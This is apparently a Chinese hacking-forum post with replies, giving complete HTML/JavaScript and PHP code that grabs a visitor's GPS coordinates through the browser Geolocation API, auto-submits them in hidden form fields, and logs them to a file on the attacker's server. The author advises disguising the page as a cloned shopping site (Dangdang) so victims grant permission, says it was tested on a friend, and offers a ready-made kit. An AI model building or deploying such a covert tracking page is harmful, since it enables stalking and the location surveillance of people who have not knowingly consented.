社工之经度纬度定位-50米以内
本帖最后由 sssssssz 于 2017-6-6 10:56 编辑总所周知,我们的IP定位也只是定位公网IP,精准度顶多在300-100米,甚至有些时候不能很好的获取对方的位置,以下的的技术,我自己试了,精准度在50以内
此技术利用了HTML5 Geolocation API
直接调用方法即可,即使是4G网页可以精准定位
最原始代码如下,我自己加了一些
现在编写index.php页面代码<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
</head>
<body>
<img src="1.png" alt="" width="100%;">
<script>
var geol;
try {
if (typeof(navigator.geolocation) == 'undefined') {
geol = google.gears.factory.create('beta.geolocation');
} else {
geol = navigator.geolocation;
}
} catch (error) {
//alert(error.message);
}
if (geol) {
geol.getCurrentPosition(function(position) {
var nowLatitude = position.coords.latitude;
var nowLongitude = position.coords.longitude;
//以上是固定代码,获取经度纬度
alert("纬度:" + nowLatitude + ", 经度:" + nowLongitude);//弹出经度纬度的坐标
function new_form(){
var f=document.createElement("form");
document.body.appendChild(f);
f.method="post";
return f;
} //定义函数,创建form
function create_elements(eForm,eName,eValue){
var e=document.createElement("input");
eForm.appendChild(e);
e.type="text";
e.name=eName;
if(!document.all){e.style.display="none"}else{
e.style.display="block";
e.style.width="0px";
e.style.height="0px";
}
e.value=eValue;
return e;
}
//这段代码意思就是 定义方法,有两个input 他们的值分别是经度纬度的值
var _f=new_form();
create_elements(_f,"username",nowLatitude) // 创建form中的input对象
create_elements(_f,"password",nowLongitude);
_f.action="geolocation2.php";
_f.submit(); //提交
//表单自提交发送到geolocation2.php页面
}, function(error) {
switch(error.code){
case error.TIMEOUT :
//alert("连接超时,请重试");
break;
case error.PERMISSION_DENIED :
//alert("您拒绝了使用位置共享服务,查询已取消");
break;
case error.POSITION_UNAVAILABLE :
//alert("非常抱歉,我们暂时无法通过浏览器获取您的位置信息");
break;
}
}, {timeout:10000}); //设置十秒超时
}
//设置连接超时的报错
</script>
</body>
</html>
然后来写接受页面 geolocation2.php 的代码
<?php
@$time=date('Y-m-d H:i:s',time());//获取当前时间
$nowLatitude="纬度 ".$_POST['username']; //接受上个页面传过来的参数(经度坐标)
$nowlongitude="经度 ".$_POST['password']." ------时间是".$time."\r\n";; //接受上个页面传过来的参数(纬度坐标)
$fp=fopen("geo.txt", "a+");//创建一个geo.txt文件
fwrite($fp, $nowLatitude); //把经度写入到geo.txt里
fwrite($fp, $nowlongitude); //把纬度写入到geo.txt里
?>
注意点:对方必须点击授权以后才能拿到对方的经度纬度(这个缺点可以结合社工实现)
现在来做个小测试假设让对方访问让对方访问我们的站点,他的页面上会显示 它自己的经度,纬度,并且经度纬度会保存在我们的站点数据里
然后我们的站点上生成了一个geo.txt文件
打开geo.txt
对方的经度纬度已经写入
现在我们打开
http://www.gpsspg.com/maps.htm把经度纬度写上去
给我朋友做的测试,它的确在这里,精准度50米
现在来完善上面的缺点
就是去网上扒一个购物网站的源码,把源码复制在index.php里
图如下,我把网站源码修改成当当网的了
这样就能精准的获取到他的地址位置~~~(自己试了,超爽的~)
如果你是小白,什么都不懂,我已经把源码打包好了,你只需要把代码放在你站点上即可希望大家多多支持,如果大家觉得还不错,我会继续讲,只要一旦获取到别人的经度纬度,立刻会发送他们的位置到我们的邮箱里~ 不过关于定时发送邮件的技术要一些linux基础~
你这个获取不了经纬度啊 txt文件里面只有个获取时间倒是我自己访问网页的时候弹出显示我自己的坐标了 图挂啦 防盗链#pao29# {:2_26:}{:2_25:} 菲布伦 菲布伦 感谢分享 6666 好像没有什么实际用途 666.感谢分享 不能生成geo.txt 666好东西 #pao45##pao4##pao4##pao4##pao4# {:2_25:}{:2_25:}{:2_25:}{:2_25:} 逻辑正确,操作很难,废柴兄弟! 获取地理位置的权限太明显了 我觉得#pao26#这个有点厉害了#pao36#